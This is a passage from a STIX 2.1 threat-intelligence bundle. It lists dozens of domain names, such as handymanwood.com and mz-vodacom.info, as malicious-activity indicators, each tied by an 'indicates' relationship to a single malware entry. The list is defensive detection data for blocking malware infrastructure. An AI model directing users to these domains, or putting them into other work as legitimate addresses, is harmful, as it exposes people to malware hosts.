"2024-01-26T21:28:21.091263Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--1d7e4dd9-0b67-4704-90e3-82816524257e", "created": "2024-01-26T21:28:21.091661Z", "modified": "2024-01-26T21:28:21.091661Z", "relationship_type": "indicates", "source_ref": "indicator--7a587a10-9080-4fff-9188-3f1399c7084c", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--7717bb15-46ad-4279-9e83-a6c37d514c17", "created": "2024-01-26T21:28:21.091758Z", "modified": "2024-01-26T21:28:21.091758Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='handymanwood.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.091758Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--05b9d349-321b-4db7-927b-1716ea032778", "created": "2024-01-26T21:28:21.09216Z", "modified": "2024-01-26T21:28:21.09216Z", "relationship_type": "indicates", "source_ref": "indicator--7717bb15-46ad-4279-9e83-a6c37d514c17", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--603ec6c5-3262-4fdb-8570-cf33b5e958bc", "created": "2024-01-26T21:28:21.092255Z", "modified": "2024-01-26T21:28:21.092255Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='newandfresh.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.092255Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--fa64dc8f-9953-4613-8bb8-1ff8bc9a6054", "created": "2024-01-26T21:28:21.092647Z", "modified": "2024-01-26T21:28:21.092647Z", "relationship_type": "indicates", "source_ref": "indicator--603ec6c5-3262-4fdb-8570-cf33b5e958bc", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--e5a1eef2-b799-4cb0-ba5b-3411c4fec630", "created": "2024-01-26T21:28:21.092744Z", "modified": "2024-01-26T21:28:21.092744Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='thoughtfulbundle.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.092744Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--b02728e2-3ad9-4bb3-95b5-73e132a54e54", "created": "2024-01-26T21:28:21.093142Z", "modified": "2024-01-26T21:28:21.093142Z", "relationship_type": "indicates", "source_ref": "indicator--e5a1eef2-b799-4cb0-ba5b-3411c4fec630", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--0e76b7e3-ca87-4029-a3be-f08546b58ac0", "created": "2024-01-26T21:28:21.093244Z", "modified": "2024-01-26T21:28:21.093244Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='tinyurler.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.093244Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--261d57cc-4e66-473e-a7c8-7d48fc8e9e81", "created": "2024-01-26T21:28:21.093634Z", "modified": "2024-01-26T21:28:21.093634Z", "relationship_type": "indicates", "source_ref": "indicator--0e76b7e3-ca87-4029-a3be-f08546b58ac0", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--2ca1d70a-e39b-4082-9e79-44eb7313cd8a", "created": "2024-01-26T21:28:21.093738Z", "modified": "2024-01-26T21:28:21.093738Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='cellularupdates.info']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.093738Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--dbe0db69-2510-451b-b297-276e179f3ca6", "created": "2024-01-26T21:28:21.094138Z", "modified": "2024-01-26T21:28:21.094138Z", "relationship_type": "indicates", "source_ref": "indicator--2ca1d70a-e39b-4082-9e79-44eb7313cd8a", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--53545f7d-bff1-402a-8cea-090f73622ae3", "created": "2024-01-26T21:28:21.094239Z", "modified": "2024-01-26T21:28:21.094239Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='online-dailynews.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.094239Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--14d92832-5c06-4528-a526-d6eb6dfb9d7a", "created": "2024-01-26T21:28:21.094639Z", "modified": "2024-01-26T21:28:21.094639Z", "relationship_type": "indicates", "source_ref": "indicator--53545f7d-bff1-402a-8cea-090f73622ae3", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--3f6061c1-3163-4c84-95fe-5c345a3692ee", "created": "2024-01-26T21:28:21.094745Z", "modified": "2024-01-26T21:28:21.094745Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='last-chainleash.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.094745Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--f9eb9932-ccd9-4b50-99ae-b8128a89095c", "created": "2024-01-26T21:28:21.095227Z", "modified": "2024-01-26T21:28:21.095227Z", "relationship_type": "indicates", "source_ref": "indicator--3f6061c1-3163-4c84-95fe-5c345a3692ee", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--cea2c879-2ee5-4a3a-88b7-206bb57186c0", "created": "2024-01-26T21:28:21.095325Z", "modified": "2024-01-26T21:28:21.095325Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='bussybeesallover.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.095325Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--fb3db0d8-6d63-4891-808a-69b55d8d69e2", "created": "2024-01-26T21:28:21.095728Z", "modified": "2024-01-26T21:28:21.095728Z", "relationship_type": "indicates", "source_ref": "indicator--cea2c879-2ee5-4a3a-88b7-206bb57186c0", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--f131d45e-233e-4507-ae0e-6dc7c438e49a", "created": "2024-01-26T21:28:21.095827Z", "modified": "2024-01-26T21:28:21.095827Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='politica504.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.095827Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--57f3994a-c023-4c1f-ad88-310914fc7eb2", "created": "2024-01-26T21:28:21.096273Z", "modified": "2024-01-26T21:28:21.096273Z", "relationship_type": "indicates", "source_ref": "indicator--f131d45e-233e-4507-ae0e-6dc7c438e49a", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--a783960d-eb9b-4b08-9c97-4fb2896feb23", "created": "2024-01-26T21:28:21.096371Z", "modified": "2024-01-26T21:28:21.096371Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='donateabox.co']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.096371Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--273e814c-ae0d-4931-8a84-616e60de95e2", "created": "2024-01-26T21:28:21.096755Z", "modified": "2024-01-26T21:28:21.096755Z", "relationship_type": "indicates", "source_ref": "indicator--a783960d-eb9b-4b08-9c97-4fb2896feb23", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--83a620f0-605e-4372-9c19-cbbf75babdd4", "created": "2024-01-26T21:28:21.096852Z", "modified": "2024-01-26T21:28:21.096852Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='scriptincluded.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.096852Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--29e76642-c3ff-4fc6-9ec8-789fe3fe6f76", "created": "2024-01-26T21:28:21.097247Z", "modified": "2024-01-26T21:28:21.097247Z", "relationship_type": "indicates", "source_ref": "indicator--83a620f0-605e-4372-9c19-cbbf75babdd4", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--c2d66093-4aa8-44bb-b005-19a7dad856b0", "created": "2024-01-26T21:28:21.097342Z", "modified": "2024-01-26T21:28:21.097342Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='lesportail.biz']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.097342Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--626cbf6c-d184-4337-b9b3-d56d58b00967", "created": "2024-01-26T21:28:21.097728Z", "modified": "2024-01-26T21:28:21.097728Z", "relationship_type": "indicates", "source_ref": "indicator--c2d66093-4aa8-44bb-b005-19a7dad856b0", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--433a5794-e14a-4b77-a442-6d1e094ba5ea", "created": "2024-01-26T21:28:21.097825Z", "modified": "2024-01-26T21:28:21.097825Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='countrytrips.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.097825Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--f2027025-f13b-4632-87ff-34c5305664b4", "created": "2024-01-26T21:28:21.098214Z", "modified": "2024-01-26T21:28:21.098214Z", "relationship_type": "indicates", "source_ref": "indicator--433a5794-e14a-4b77-a442-6d1e094ba5ea", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--c49d63fa-1f61-4d7c-926c-3bc540df6ade", "created": "2024-01-26T21:28:21.098316Z", "modified": "2024-01-26T21:28:21.098316Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='mamba-live.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.098316Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--fac40709-5b7c-421d-9d1f-8a109a5a1f4b", "created": "2024-01-26T21:28:21.098701Z", "modified": "2024-01-26T21:28:21.098701Z", "relationship_type": "indicates", "source_ref": "indicator--c49d63fa-1f61-4d7c-926c-3bc540df6ade", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--92bf51c1-81fd-4152-8aa3-05cf35d05d4f", "created": "2024-01-26T21:28:21.098798Z", "modified": "2024-01-26T21:28:21.098798Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='neverwayneck.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.098798Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--9a8c58aa-f029-4b26-9dee-d77699fa8c28", "created": "2024-01-26T21:28:21.099183Z", "modified": "2024-01-26T21:28:21.099183Z", "relationship_type": "indicates", "source_ref": "indicator--92bf51c1-81fd-4152-8aa3-05cf35d05d4f", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--39f08dc6-d063-43c1-a2f8-dbf997582c38", "created": "2024-01-26T21:28:21.09928Z", "modified": "2024-01-26T21:28:21.09928Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='eyestoip.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.09928Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--098815b6-cb38-4b9d-8a9d-b0c8fa19d676", "created": "2024-01-26T21:28:21.099745Z", "modified": "2024-01-26T21:28:21.099745Z", "relationship_type": "indicates", "source_ref": "indicator--39f08dc6-d063-43c1-a2f8-dbf997582c38", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--c3500b57-8686-463e-820e-66bfc25ae1c6", "created": "2024-01-26T21:28:21.099846Z", "modified": "2024-01-26T21:28:21.099846Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='saladsaroundme.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.099846Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--44125fd4-f72d-439b-9dec-419bb9f875b4", "created": "2024-01-26T21:28:21.100238Z", "modified": "2024-01-26T21:28:21.100238Z", "relationship_type": "indicates", "source_ref": "indicator--c3500b57-8686-463e-820e-66bfc25ae1c6", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--6858874e-3db3-48ea-9a76-4c6eea0d48bd", "created": "2024-01-26T21:28:21.100337Z", "modified": "2024-01-26T21:28:21.100337Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='contentsbycase.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.100337Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--1a9c6762-7c95-499d-9f33-6b24de688d7f", "created": "2024-01-26T21:28:21.100724Z", "modified": "2024-01-26T21:28:21.100724Z", "relationship_type": "indicates", "source_ref": "indicator--6858874e-3db3-48ea-9a76-4c6eea0d48bd", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--99b2940a-fde7-4a43-9c5c-bd38ea6a898b", "created": "2024-01-26T21:28:21.100821Z", "modified": "2024-01-26T21:28:21.100821Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='whereismyhand.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.100821Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--634a3267-90ab-4403-bf70-ba438e1cb42a", "created": "2024-01-26T21:28:21.10121Z", "modified": "2024-01-26T21:28:21.10121Z", "relationship_type": "indicates", "source_ref": "indicator--99b2940a-fde7-4a43-9c5c-bd38ea6a898b", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--1d121706-8f49-43cc-bba3-5135aa5c4bc4", "created": "2024-01-26T21:28:21.101307Z", "modified": "2024-01-26T21:28:21.101307Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='externalprivacy.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.101307Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--12e4abb0-e8f9-48d7-aa13-7fe8309aa844", "created": "2024-01-26T21:28:21.101697Z", "modified": "2024-01-26T21:28:21.101697Z", "relationship_type": "indicates", "source_ref": "indicator--1d121706-8f49-43cc-bba3-5135aa5c4bc4", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--61be11c9-7668-462f-af08-b8e64b9c4e7a", "created": "2024-01-26T21:28:21.1018Z", "modified": "2024-01-26T21:28:21.1018Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='stopmysms.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.1018Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--57192311-56aa-4569-b086-9d9c97510a4d", "created": "2024-01-26T21:28:21.102186Z", "modified": "2024-01-26T21:28:21.102186Z", "relationship_type": "indicates", "source_ref": "indicator--61be11c9-7668-462f-af08-b8e64b9c4e7a", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--8d627141-22b2-4bf6-a597-fb4ebee576fb", "created": "2024-01-26T21:28:21.102282Z", "modified": "2024-01-26T21:28:21.102282Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='clickrighthere.online']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.102282Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--927580e0-5266-4ffd-9882-39611e40af7c", "created": "2024-01-26T21:28:21.102686Z", "modified": "2024-01-26T21:28:21.102686Z", "relationship_type": "indicates", "source_ref": "indicator--8d627141-22b2-4bf6-a597-fb4ebee576fb", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--2bedf204-008d-4845-87df-e2b5993246fc", "created": "2024-01-26T21:28:21.102788Z", "modified": "2024-01-26T21:28:21.102788Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='loadingurl.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.102788Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--bd47918a-00ca-4820-91e1-db8506f1852f", "created": "2024-01-26T21:28:21.103187Z", "modified": "2024-01-26T21:28:21.103187Z", "relationship_type": "indicates", "source_ref": "indicator--2bedf204-008d-4845-87df-e2b5993246fc", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--a7dc88f4-ac70-4859-8419-004f2cdc8c75", "created": "2024-01-26T21:28:21.103287Z", "modified": "2024-01-26T21:28:21.103287Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='pageupdate.co']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.103287Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--4f159e92-9202-461f-9fbd-02ea16caed26", "created": "2024-01-26T21:28:21.103686Z", "modified": "2024-01-26T21:28:21.103686Z", "relationship_type": "indicates", "source_ref": "indicator--a7dc88f4-ac70-4859-8419-004f2cdc8c75", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--b7a8c539-3e2e-4655-9a02-b1c984934354", "created": "2024-01-26T21:28:21.103789Z", "modified": "2024-01-26T21:28:21.103789Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='dnsmachinefork.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.103789Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--38f819ac-4029-4499-ac02-5b51c184eecd", "created": "2024-01-26T21:28:21.104273Z", "modified": "2024-01-26T21:28:21.104273Z", "relationship_type": "indicates", "source_ref": "indicator--b7a8c539-3e2e-4655-9a02-b1c984934354", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--68e4f15c-73ba-4338-b8be-c755d60fbdaa", "created": "2024-01-26T21:28:21.104372Z", "modified": "2024-01-26T21:28:21.104372Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='black-bricks.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.104372Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--a479c938-1936-4423-87aa-c0aad0be5609", "created": "2024-01-26T21:28:21.104768Z", "modified": "2024-01-26T21:28:21.104768Z", "relationship_type": "indicates", "source_ref": "indicator--68e4f15c-73ba-4338-b8be-c755d60fbdaa", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--1d479a17-57d5-495b-b3b8-c04d014ddfc8", "created": "2024-01-26T21:28:21.104865Z", "modified": "2024-01-26T21:28:21.104865Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='adeal4u.co']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.104865Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--1fb2b389-6d8f-439f-b76c-488a704d6ba8", "created": "2024-01-26T21:28:21.105249Z", "modified": "2024-01-26T21:28:21.105249Z", "relationship_type": "indicates", "source_ref": "indicator--1d479a17-57d5-495b-b3b8-c04d014ddfc8", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--50b86abc-1c1b-4c21-979a-026ba0248a20", "created": "2024-01-26T21:28:21.105346Z", "modified": "2024-01-26T21:28:21.105346Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='internetmobilespeed.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.105346Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--9659c74a-48c1-4c66-ac48-fe337c5c4d75", "created": "2024-01-26T21:28:21.105748Z", "modified": "2024-01-26T21:28:21.105748Z", "relationship_type": "indicates", "source_ref": "indicator--50b86abc-1c1b-4c21-979a-026ba0248a20", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--6d526608-a191-4552-b6df-a945e2487eb3", "created": "2024-01-26T21:28:21.105849Z", "modified": "2024-01-26T21:28:21.105849Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='business-today.info']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.105849Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--2e4a813a-2f83-44a0-80d3-c6de21fca3f9", "created": "2024-01-26T21:28:21.106246Z", "modified": "2024-01-26T21:28:21.106246Z", "relationship_type": "indicates", "source_ref": "indicator--6d526608-a191-4552-b6df-a945e2487eb3", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--f3f6da95-d10e-4ee6-8b12-d8f9ba141e6b", "created": "2024-01-26T21:28:21.106345Z", "modified": "2024-01-26T21:28:21.106345Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='changesstarted.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.106345Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--9cc13a89-e65a-4c78-b0d0-119ff813ca96", "created": "2024-01-26T21:28:21.106733Z", "modified": "2024-01-26T21:28:21.106733Z", "relationship_type": "indicates", "source_ref": "indicator--f3f6da95-d10e-4ee6-8b12-d8f9ba141e6b", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--111a646a-e78c-48a2-8ee1-63fed57e94fa", "created": "2024-01-26T21:28:21.10683Z", "modified": "2024-01-26T21:28:21.10683Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='nomorewarnow.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.10683Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--bdb3d3d5-6b8d-4ddf-9d3c-68889f3002db", "created": "2024-01-26T21:28:21.10722Z", "modified": "2024-01-26T21:28:21.10722Z", "relationship_type": "indicates", "source_ref": "indicator--111a646a-e78c-48a2-8ee1-63fed57e94fa", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--0b50ee84-0efa-4d85-a124-5b5dc0696d10", "created": "2024-01-26T21:28:21.107316Z", "modified": "2024-01-26T21:28:21.107316Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='extrahoney.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.107316Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--8689e09a-fe82-4466-a010-cce5bf9536be", "created": "2024-01-26T21:28:21.107708Z", "modified": "2024-01-26T21:28:21.107708Z", "relationship_type": "indicates", "source_ref": "indicator--0b50ee84-0efa-4d85-a124-5b5dc0696d10", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--a120e3c1-b5f2-4b46-98f4-9fa2b2620a30", "created": "2024-01-26T21:28:21.107807Z", "modified": "2024-01-26T21:28:21.107807Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='entire-cases.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.107807Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--e87a09a8-6c5b-433a-b743-e43fb28515bc", "created": "2024-01-26T21:28:21.108201Z", "modified": "2024-01-26T21:28:21.108201Z", "relationship_type": "indicates", "source_ref": "indicator--a120e3c1-b5f2-4b46-98f4-9fa2b2620a30", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--8fbef713-bc4b-43d1-8f60-29904f7b2532", "created": "2024-01-26T21:28:21.108296Z", "modified": "2024-01-26T21:28:21.108296Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='optionstoreplace.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.108296Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--6a4039a0-23de-47d5-94c1-f5ffce479172", "created": "2024-01-26T21:28:21.108768Z", "modified": "2024-01-26T21:28:21.108768Z", "relationship_type": "indicates", "source_ref": "indicator--8fbef713-bc4b-43d1-8f60-29904f7b2532", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--9163bc27-ddae-4d94-98bc-c79a819431e1", "created": "2024-01-26T21:28:21.108869Z", "modified": "2024-01-26T21:28:21.108869Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='mz-vodacom.info']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.108869Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--c94c35ce-8343-42fc-9714-8652c807dd7c", "created": "2024-01-26T21:28:21.109259Z", "modified": "2024-01-26T21:28:21.109259Z", "relationship_type": "indicates", "source_ref": "indicator--9163bc27-ddae-4d94-98bc-c79a819431e1", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--1f83a7e1-9aec-46b6-af6d-f7a611de9998", "created": "2024-01-26T21:28:21.109355Z", "modified": "2024-01-26T21:28:21.109355Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='dns-direct.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.109355Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--e95ab125-ca62-45ab-a885-ee7d17858406", "created": "2024-01-26T21:28:21.109741Z", "modified": "2024-01-26T21:28:21.109741Z", "relationship_type": "indicates", "source_ref": "indicator--1f83a7e1-9aec-46b6-af6d-f7a611de9998", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--f4800ad5-7aa3-4ec8-a119-ae0b9abd6953", "created": "2024-01-26T21:28:21.109836Z", "modified": "2024-01-26T21:28:21.109836Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='panelbreed.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.109836Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--4bc3a3fe-ca73-4f16-9c8e-0910baf168ba", "created": "2024-01-26T21:28:21.110225Z", "modified": "2024-01-26T21:28:21.110225Z", "relationship_type": "indicates", "source_ref": "indicator--f4800ad5-7aa3-4ec8-a119-ae0b9abd6953", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--11093d89-f075-40e3-ac7d-541a5ca3909e", "created": "2024-01-26T21:28:21.110328Z", "modified": "2024-01-26T21:28:21.110328Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='whats-new.org']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.110328Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--d40892bb-6c96-441c-b767-1961f1bd1b40", "created": "2024-01-26T21:28:21.110715Z", "modified": "2024-01-26T21:28:21.110715Z", "relationship_type": "indicates", "source_ref": "indicator--11093d89-f075-40e3-ac7d-541a5ca3909e", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--9383cdc1-91f5-4f46-abae-53eda2e47b01", "created": "2024-01-26T21:28:21.110812Z", "modified": "2024-01-26T21:28:21.110812Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='firebulletfan.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.110812Z"}, {"type": "relationship", "spec_version": "2.1", "id": 